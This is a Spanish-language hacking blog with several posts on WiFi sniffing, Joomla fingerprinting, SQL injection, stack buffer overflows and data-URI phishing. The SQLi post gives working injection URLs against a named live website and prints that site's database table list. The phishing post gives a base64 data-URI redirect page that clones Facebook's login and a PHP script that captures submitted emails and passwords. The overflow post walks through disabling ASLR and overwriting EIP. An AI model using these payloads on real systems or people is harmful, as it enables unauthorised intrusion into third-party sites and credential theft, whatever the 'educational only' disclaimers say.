miércoles, 20 de agosto de 2014

WIFI

Bien con este ultimo articulo he querido cerrar el blog, espero disfruten del material escrito.

Que es la wifi???

Segun Wikipedia


http://es.wikipedia.org/wiki/Wi-Fi

"Wi-Fi" y el "Style logo" del Yin Yang fueron inventados por la agencia Interbrand. Nosotros (WiFi Alliance) contratamos a Interbrand para que nos hiciera un logotipo y un nombre que fuera corto, tuviera mercado y fuera fácil de recordar. Necesitábamos algo que fuera algo más llamativo que “IEEE 802.11b de Secuencia Directa”. Interbrand creó nombres como “Prozac”, “Compaq”, “OneWorld”, “Imation”, por mencionar algunos. Incluso inventaron un nombre para la compañía: VIATO.”

en pocas palabra algo mas llamativo para no decir olle me das tu clave de la IEEE 802.11b xD ia me entenderan xD.


Ahora la pregunta es como conseguimos WIFI, existen varias maneras pagando, conectandote a una wifi libre, sacando la pass de algun vecino etc....
Explicare la idea de como se saca una clave WIFI, aclarar que esto no sera ningun tutorial de manejo de herramientas de pentest wifi.

Existe algo llamado ondas electromagneticas, que viajan a toda hora en todo lugar. Pero cual es la logica de esto la Wi-Fi trabaja sobre ondas electromagneticas programadas a una frecuencia de envio y recepcion.

Cuando te conectas a una red libre lo que realmente haces es que tu placa de red envia un pulso electromagnetico al destino router para eso se encarga la frecuencia que se puedan comunicar las 2 partes iguales. Al momento de recibir la peticion o pulso electromagnetico el router la procesa y devuelve la respuesta esto lo hace sin que el usuario se de cuenta.

Como funciona con las redes que tiene contrase;as??. Para eso se creo algo llamado modo promiscuo

http://en.wikipedia.org/wiki/Promiscuous_mode

podemos colocar nuestra tarjeta de red inalambrica en escucha, capturar todos los paquetes que viajan al rededor de nosotros y luego analizarlos, hay es donde juega el papel los diferentes tipos de encriptacion WEP, WPA, WPA2.


Lo que se trata de entender es como funciona, de que si ponemos nuestra tarjeta en modo promiscuo a escuchar alguna red inalambrica podremos capturar en algun momento la clave depende del tipo de encriptacion que tenga. Pero no solo con portatiles con cualquier dispositivo que acepte modo promiscuo y funcione con conexiones wifi puede ser utilizado como capturador de paquetes de trafico.


https://www.google.com.ru/search?q=hack+wifi&oq=hack+wifi&gs_l=hp.3..0l4.22357857.22359043.2.22359281.9.9.0.0.0.0.290.2051.2-9.9.0....0...1c.1.51.psy-ab..1.16.3607.XJ5tHqcTuBA&pbx=1&biw=1600&bih=756&cad=cbv&sei=cnn1U-PGNovaoATkgoCYDg


Recuerda que esto no es ningun tutorial de como hacer esto simplemente se trata de que entiendas como funciona, luego tu veras como implementarlo.


Saludos
3p1c0w3nd










jueves, 12 de septiembre de 2013

fingerprinting cms joomla

when working on joomla cms information delivery varies from installation version and modules.

when reviewing a joomla theCode source can deliver information about the version of joomla, some components, let 's see an example.

Target: www.unisangil.edu.co

 

but not only the source code we can shed information






but the most interesting is the information that we can throw the joomla modules can do it in 2 ways brute force or looking at the source code.

list brute force

http://pastebin.com/dApPpC6X

gives us information as the source code of joomla? simple

/administrator/language/es-ES/es-ES.com_namecomponent.ini 

for example:


http://www.unisangil.edu.co/administrator/language/es-ES/es-ES.com_jevents.ini



 
 http://www.unisangil.edu.co/administrator/language/es-ES/es-ES.com_content.ini





http://www.unisangil.edu.co/administrator/language/es-ES/es-ES.com_search.ini


Remember that this is for educational use only share research materials and each person is handling this information as.

A man is not measured by what he says is measured by what he does

3p1c0w3nd  

lunes, 29 de julio de 2013

SQLi Maestro en linea?

"TODO ESTE MATERIAL ES DIDACTICO"


Algo de lo que no estoy de acuerdo es que te traten como un delicuente cuando encuentras un error y tratas de explotarlo. Estoy de acuerdo que eso es invadir la privacidad de la pagina. Pero no se supone que cuando un producto sale al mercado tiene que tener unas politicas o tiene que estar regido por algunas normas de seguridad.

Aveces podemos cometer errores por no poner un poco de cuidado a las entradas del usuario.
Nunca confies en lo que te envia el usuario.


Hoy revisando un poco los post, me encontre con algo viejo, de un antiguo blog.

http://br34ks3cur1ty.blogspot.com/2011/12/empresa-colombiana-de-seguridad.html

Fue casi 2 años desde que paso, ahora que trato de buscar informacion sobre esta pagina nuevamente me encuentro, que esta activa la pagina y ahora da cursos sobre seguridad informatica.

Veamos que nos dice nuestro amigo robots.txt acerca del sitio



como podemos ver es un joomla, con sus multiples componentes ademas tenemos

User-agent: *
Disallow: /administrator/
Disallow: /cache/
Disallow: /components/
Disallow: /images/
Disallow: /includes/
Disallow: /installation/
Disallow: /language/
Disallow: /libraries/
Disallow: /media/
Disallow: /modules/
Disallow: /plugins/
Disallow: /templates/
Disallow: /tmp/
Disallow: /xmlrpc/
Disallow: /grabacionconferencias/
Disallow: /ceh_basic_inter/
Disallow: /ceh_avanzado/
Disallow: /cursos_elmaestroenlinea_0283Ahs/


ceh_avanzado ????. Bueno como algunos conoceran joomla es un cms de codigo abierto, es decir cualquiera puede editar su estructura o añadir nuevos modulos.

Algunas de las cosas interesantes es la informacion que puede entregar joomla al momento de realizar un pentest.

http://www.elmaestroenlinea.com/htaccess.txt
http://www.elmaestroenlinea.com/configuration.php-dist
http://www.elmaestroenlinea.com/plugins/editors/tinymce/jscripts/tiny_mce/tiny_mce_gzip.php

entre otras cosas mas pero cual es el punto de este post, cuando se busca un poco mas sobre la web se puede encontrar el tipo error comunmente SQLi. Ademas que nos arroja el error podemos modificar la consulta ya sea para que nos muestre los datos en la pagina web o hacerlo con un blind. Algunas veces es mejor realizar las inyecciones SQLi en modo BLIND puede ser un poco demorado pero existen herramientas para automatizar esto.

Les dejo la url del error aunque ya lo reporte no han dado respuesta

http://www.elmaestroenlinea.com/maestrolinea/productos.php?cursoshomesel=8'%20and%20sleep(5)%20--+

Algunos datos interesantes:

http://www.elmaestroenlinea.com/maestrolinea/productos.php?cursoshomesel=8'%20union%20select%201,current_user(),3,4,5,6,7--+


UserDB: 'masteronline'@'%'






Database: masteronline
[43 tables]

| administracion                
| banners                       
| categoria                     
| categorias                    
| categorias_membresias         
| ciudades_contraentrega        
| clientes                      
| comentarios_contraentrega     
| compras_membresia             
| cumpleanos                    
| cursos                        
| cursos_aprobados              
| cursospreguntas               
| cursosrespuestas              
| cursostemas                   
| cursostemasadjuntos           
| docentes                      
| docentes_preguntas            
| docentes_respuestas_preguntas 
| efectivo                      
| encuestas                     
| encuestas_items               
| encuestas_respuestas          
| formas_pago                   
| imagenes                      
| links                         
| links_parrafo                 
| logsintranet                  
| membresias                    
| menu                          
| menuderecho                   
| menudesplegable               
| modulos_intranet              
| modulos_intranet_usuario      
| monedas                       
| movimientos                   
| noticias                      
| perfiles                      
| sesiones                      
| sesiones_config               
| tipo_correo                   
| tipo_correo_email             
visitas                       

"Hasta el mas Habil puede fallar"

3p1c0w3nd

sábado, 13 de julio de 2013

Buffer Overflow

Bienvenidos una vez mas, hoy quiero compartir un poco de conocimiento sobre los buffer overflow.

http://en.wikipedia.org/wiki/Buffer_overflow
Cuando yo lo estaba tratando de comprender era complicado hay mucho pero mucho material en internet pero el problema es lo poco que se entiende de el,se entiende que es una carga en el buffer de almacenamiento. Que quiere decir esto?. Cuando declaramos variables en c podemos asignarles un tamaño en memoria, asi luego podemos acceder a ella por medio de un puntero, la mayoria de los arrays en c son punteros.

 #include<stdio> 
 int main() 

 char puntero[15] = "Hola mundo"; 
 printf("contenido de puntero: %s", puntero);
 printf("\nPosicion en memoria de la variable puntero: 0x%x \n\n", &puntero);
 return 0;
}




al parece anda bien el programa pero trantando de cabiarlo un poco


vemos que si cambiamos el tamaño del array parece que el programa nos imprime el mensaje mas codigo basura, pero cuando compilamos el mismo compilador nos advierte del fallo de la longitud de la palabra.

root@servidor:~/Desktop/programacion# gcc minites.c -o test

 minites.c: In function ‘main’: minites.c:7:23: warning: initializer-string for array of chars is too long [enabled by default]

 root@servidor:~/Desktop/programacion# ls
0days escaneofin.c minites.c~ socket strcpy.c autenticacion.c llamadas.c ping.c socketraw.c test auth llamadas.c~ puntero socketraw.c~ test.c call minites.c puntero.c strcp


 pero lo compila y lo podemos ejecutar, asi funciona esto la programacion en c, esta sobre el entendimiento de la memoria, al principio pense que todo era oculto pero cuando se comienza a averiguar no es mas que una lluvia de programacion orientada a objeto y sockets, creo que el post sera un poco largo pero quiero dejar clara todas estas partees.
 Otro ejemplo

 #include<stdio.h>

int main()
 { 
 char puntero[15];
 gets(puntero); 
 printf("contenido de puntero: %s", puntero);
 printf("\nPosicion en memoria de la variable puntero: 0x%x \n\n", puntero); 
 return 0; 
}






normal no?. recibe la entrada del usuario y la guarda en la variable puntero, para eso usamos la funcion gets() pero que pasa cuando ingresamos mas caracteres de los que podemos recibir. Antes de eso vamos a quitar la opcion de  random memory

root@servidor:~# cat /proc/sys/kernel/randomize_va_space
 2
root@servidor:~# echo 0 > /proc/sys/kernel/randomize_va_space


Esto lo hacemos para que no nos arroje una random de memoria en la variable, si se daran cuenta siempre que ejecutamos el programa nos arrojaba una direccion de memoria distinta, ahora nos arrojara una fija. 
 


root@servidor:~/Desktop/programacion# gcc minites.c -ggdb -fno-stack-protector -mpreferred-stack-boundary=4 -o test

Cuando ingresamos 20 Aes no pasa nada pero con 30 parece que hay un fallo de memoria, una violacion 

root@servidor:~/Desktop/programacion# ./test AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
contenido de puntero: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
Posicion en memoria de la variable puntero: 0xbffff4f1

 Violación de segmento 

-ggdb -fno-stack-protector -mpreferred-stack-boundary=4 estos parametros los recibe el compilador de c puedes dar un man gcc para mas informacion, el ggdb es para cuando vallamos a depurarlo.

 

Bien ahora entramos en materia con nuestro depurador de ggdb.

 root@servidor:~/Desktop/programacion# gdb ./test 

list 1 es para listar el programa como pasamos el parametro -ggdb nuestro depurador recibe esa informacion es para mejor entendimiento cuando se depura un programa. solo nos falta colocar unos cuantos break en el programa para cuando llegue a esa pocision haga un stop y poder analizar que es lo que pasa a nivel interno del pc. 


se ejecuta el programa y llega al primer break, estamos dentro del main 

eip 0x8048455 0x8048455




el registro eip es el mas importante ya que es el que vamos a editar para que el programa haga lo que nosotros queramos, al final dejo algunos enlaces no quiero alargar esto a un curso de asm o registro xD.

 

imprimimos 100 palabras en hexadecimal de la memoria, damos la letra n para seguir ingresamos nuestras 30 Aes y volvemos a analizar los registro imprimiendo el contenido de esa memoria.

 (gdb) info reg 
eax 0xbffff4b1 -1073744719 
ecx 0xbffff4b1 -1073744719
 edx 0xb7fc2354 -1208212652
 ebx 0xb7fc0ff4 -1208217612
 esp 0xbffff4a0 0xbffff4a0 
ebp 0xbffff4c8 0xbffff4c8 
esi 0x0 0 
edi 0x0 0
 eip 0x8048461 0x8048461

 
esp apunta a una pocision en memoria que se encuentra 0xbffff4a0. Cuando imprimimos lo que contiene esa direccion de memoria podemos encontrar un numero repetido el 41. Que hexadecimal significa nuestra letra A. Cuando realizen el ejercicio veran que esp esp 0xbffff4a0 

 (gdb) x/50wx $esp 
0xbffff4a0: 0x0804853c 0xbffff4b1 0xbffff57c 0xbffff4c8 
0xbffff4b0: 0x414141f5 0x41414141 0x41414141 0x41414141 
0xbffff4c0: 0x41414141 0x41414141 0x41414141 0x00414141 
0xbffff4d0: 0x00000001 0xbffff574 0xbffff57c 0xb7fe0860 
0xbffff4e0: 0xb7ff6821 0xffffffff 0xb7ffeff4 0x0804826d
 0xbffff4f0: 0x00000001 0xbffff530 0xb7fefc16 0xb7fffac0 
0xbffff500: 0xb7fe0b58 0xb7fc0ff4 0x00000000 0x00000000
 0xbffff510: 0xbffff548 0x111cd6c6 0x21e960d6 0x00000000
 0xbffff520: 0x00000000 0x00000000 0x00000001 0x08048360
 0xbffff530: 0x00000000 0xb7ff59c0 0xb7e78d6b 0xb7ffeff4 
0xbffff540: 0x00000001 0x08048360 0x00000000 0x08048381 
0xbffff550: 0x0804844c 0x00000001 0xbffff574 0x080484a0 
0xbffff560: 0x08048490 0xb7ff0590 

y cuando finalizamos el programa el programa nos arroja una direccion de memoria, 0x00414141 in ?? (). Por lo visto solo nos falta una A para poder sobreescribir totalmente EIP. 


AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
0x41414141 in ?? () 

que pasa con todo esto veamoslo con una funcion nueva en nuestro programa.
#include void nuncasejecuta() { printf("\n\nesta funcion nunca se ejecutara a menos que me llames: \n\n"); } int main() { char puntero[15]; gets(puntero); printf("contenido de puntero: %s", puntero); printf("\nPosicion en memoria de la variable puntero: 0x%x \n\n", puntero); return 0; } 


la funcion nuncasejecuta() no es llamada en el main, asi que no se debera ejecutar, pero eso no advierte que no tiene que cargarla en memoria. 


(gdb) disas nuncasejecuta 
Dump of assembler code for function nuncasejecuta: 
 0x0804847c <+0>: push %ebp 
 0x0804847d <+1>: mov %esp,%ebp 
 0x0804847f <+3>: sub $0x18,%esp 
 0x08048482 <+6>: movl $0x8048570,(%esp) 
 0x08048489 <+13>: call 0x8048360 
0x0804848e <+18>: leave 0x0804848f <+19>: ret End of assembler dump. 

tenemos la direccion en memoria de la funcion nuncasejecuta(), como recordaran para sobreescribir EIP se necesitan 31 Aes, ahora 31-4 = 27 ahora vamos a crear algo para explotar esto. 

root@servidor:~/Desktop/programacion# printf 
"AAAAAAAAAAAAAAAAAAAAAAAAAAA\x7c\x84\x04\x08" | ./test 
 contenido de puntero: AAAAAAAAAAAAAAAAAAAAAAAAAAA|�
 Posicion en memoria de la variable puntero: 0xbffff4f1 

 esta funcion nunca se ejecutara a menos que me llames: Violación de segmento root@servidor:~/Desktop/programacion# 


Y hemos podido decirle al programa que haga, aunque no este programado para eso.
he programado un pequeño script que pueden editar y practicar tambien sirve como para que aprendas algo de cracking.

 http://pastebin.com/PDj1NPaY

 "Tu eres dueño de tu mundo solo tu puede ver lo que puedes o no hacer"

 3p1c0w3nd 

 Referencias:
 http://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/ http://www.thegreycorner.com/2010/02/windows-buffer-overflow-tutorial.html www.youtube.com/watch?v=nXvSr6oZeMk

jueves, 11 de julio de 2013

Data_URI_scheme y phishing

Hola queridos lectores despues de un largo rato de ausencia he querido retomar de nuevo un poco el blog esta vez con un tema que he estudiado antes pero es extenso, te doy unas pautas luego tu veras que utilidad le prestas, no quiero desembocar una lluvia de phishing o algo parecido solo quiero dar a conocer una de las tantas tecnicas que existen en el mundo de la seguridad informatica pero expresada en terminos de curiosidad nada mas ;).


Data_URI_scheme


The data URI scheme is a URI scheme (Uniform Resource Identifier scheme) that provides a way to include data in-line in web pages as if they were external resources. This technique allows normally separate elements such as images and style sheets to be fetched in a single HTTP request rather than multiple HTTP requests, which can be more efficient.
Data URIs tends to be simpler than other inclusion methods, such as MIME with cid or mid URIs. Data URIs are sometimes called Uniform Resource Locators, although they do not actually locate anything remote. The data URI scheme is defined in RFC 2397 of the Internet Engineering Task Force (IETF).
In browsers that fully support Data URIs for "navigation", JavaScript generated content can be provided as file "download" to the user, simply by setting window.location.href to a Data URI. One example is the conversion of HTML tables to downloadable CSV using a Data URI like this: 'data:text/csv;charset=UTF-8,' + encodeURIComponent(csv), where "csv" has been generated by JavaScript.
The IETF published the data URI specification in 1998[1] as Proposed Standard on the IETF Standards Track, and hasn't progressed it since. The HTML 4.01 specification refers to the data URI scheme,[2] and data URIs have now been implemented in most browsers.


Si lo se esta en ingles, este texto lo ley varias veces hasta entenderlo por desgracia no lo logre al 100% solo un pequeño porcentaje, pero es curioso su funcionamiento, vamos mejor a un ejemplo:

https://www.facebook.com/ 

tenemos facebook una red social, afortunadamente cuando accedemos a la pagina podemos ver su estructura, es decir como esta formado facebook en su codigo fuente Ctrl + U en tu navegador




podemos editar algo de su codigo fuente ya que nuestro navegador lo esta mostrando, un action="login.php"


ahora solo nos queda ver en como entra en accion esto, tenemos nuestro codigo fuente editado ahora solo falta convertirlo a base64 


tenemos una muy buena online para jugar un rato con los tipos de encriptacion

PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiIgaWQ9ImZhY2Vib bla bla bla



bien llegamos a la parte mas importante como elaboramos un exploit que aproveche el Data_URl_scheme, algunos conoceran que cuando se ingresa una url directamente http://www.facebook.com se entiende que es la pagina principal, a menos que se halla atacado con pharming el nombre de dominio sera el real, pero cuando se ataca con phishing se corren riesgos como que se tiene que hacer parecer el nombre de dominio lo mejor posible

http://www.1facebook.com/
http://facebook.freehostia.com/
http://faceeeebok.t35.com/ 

etc... estos ejemplos los encontramos muy a menudo en la actualidad, que pasa cuando unimos el Data URl y html 

< html >
< head >
< title >PAGINA FALSA!!!!!</ title >
</head>
< body onload="javascript:window.location='data:text/html;base64,ACA VA NUESTRO CODIGO BASE64'" >
<!-- EDUCATIVO  -->
</body>

</html>

podemos unir javascript, html y Data URl para poder falsear un poco el nombre de la direccion de phishing 






lo que sucedera cuando se acceda a ese archivo html es que se redireccionara a una pagina nueva con un enlace data:




ahora solo los faltaria el archivo  que capturara los datos

login.php

<?php

$email = $_POST["email"];
$pass = $_POST["pass"];

$contenido = "
email : $email\n
clave : $pass
Pwn3d!!!!!!

";
print $contenido;


?>

ahora cuando ingresen los datos los recibiremos en nuestro script login.php ya cada cual sabra el funcionamiento o que le agregara, recuerda que esto solo es educativo y yo al igual que tu estoy aprendiendo solo comparto algo de conocimiento de lo que se, se que el texto puede contener errores pero no me juzzgues muy duro xD.

La forma de comprender las cosas aveces es experimentando, puedes ver mas a fondo como funciona esto consultando o practicando tu mismo.

Links

https://isc.sans.edu/diary/%22Data%22+URLs+used+for+in-URL+phishing/13996
http://www.breakthesecurity.com/2012/09/phishing-site-using-data-uri-hack.html
http://www.youtube.com/watch?v=Zlk76Oqw7Oo


"La curiosidad no puede tratarse como un delito"

3p1c0w3nd

jueves, 11 de abril de 2013

Volveremos....

Por falta de tiempo y de algunos percances  he tenido que abandonar el blog por un tiempo, pero tranquilo volveremos dentro de poco recuerda que regresaremos con nuevos tutoriales referentes al la seguridad informática.

Para mas información dudas al respecto no olvides acceder a nuestro canal de de facebook donde encontraras información de temas de la actualidad.


https://www.facebook.com/groups/br34ks3cur1ty/

También encontraras personas con múltiples conocimientos de informática  podrás preguntar aportar y conversar con grandes genios de la informática :) te esperamos.



while(time)
{
  print "volveremos ;)";
}

jueves, 14 de marzo de 2013

Ondas Wireless

En el mundo del wireless el modo monitor es dejar en escucha la tarjeta inalambrica, es decir que capture todos los paquetes que circulan cerca del computador. 
Algunos creen que las redes inalambricas se transmiten como un infrarojo llegando la señal a un destino fijo, pero no es asi, las ondas electromagneticas se encuentran en cualquier lado, asi los aparatos electronicos que manejan wireless o esa frecuencia y un poco de ingenio se pueden hacer bastantes cosas espero que les guste este apartado

la mayoria de gente suele pensar que una señal de un aparato electronico es enviada y recibida por 2 partes, el emisor y el receptor. Algo en lo que he leido en los ultimos dias y como la curiosidad mato al gato me di en la tarea de ver que tan cierto era esto he aqui mi deduccion si contiene errores les pido que me los informe asi podrian ayudar a alguien que quiere aprender.

SEÑAL

Una señal no es mas que una onda electromagnetica que se emite en el aire o en el vacio, cada aparato electronico celular, modem inalambrico, tablets, ps3 entre otros manejan un tipo de señal para la comunicacion.


 
bueno de que nos sirve esto y que coherencia tiene este texto con esas frecuencias?

como veran la logica es una sola si ven un modem inalambrico que esta emitiendo? señales como podemos crackear un pass de wifi? capturando señales e injectando paquetes a un modem especifico. En este caso quiero mostrar que no solo el modo monitor nos sirve para crackear wireless nooo.

Usaremos 2 herramientas gratuitas y de un facil acceso

1. Gerix Wifi Cracker
2. Wireshark

Lo primero de todo es colocar nuestra tarjeta en modo monitor esto lo realizamos de 2 formas manual o por el programa Gerix Wifi Cracker que es el de nuestro ejemplo 
ya tenemos la tarjeta en modo monitor escuchando la comunicacion de todos los modems inalambricos que alcance a captar. Ahora es el turno de wireshark, en la lista de tarjetas que modemos utilizar para escuchar nos aparece la eth0 (ren por cable), wlan0(red inalambrica), mon0(tarjeta en modo monitor)

veran que comienza a captar paquetes por la tarjeta en modo monitor, cual es la gracia de hacerlo con wireshark que para analizar el trafico que circula por esa red inalambrica no hay necesidad de conectarse a esta. Es decir el pc emite ondas que se exparsen en el aire y el modem recibe luego el modem interpreta y transmite segun la peticion la ventaja de wireshark es que nos deja manejar diferentes protocolos.

Con ayuda se ese entorno y una facil lectura es posible capturar paquetes TCP que hallan sido enviadas
cada frecuencia es diferente informacion, por eso te pinchan el telefono xD

3p1c0w3nd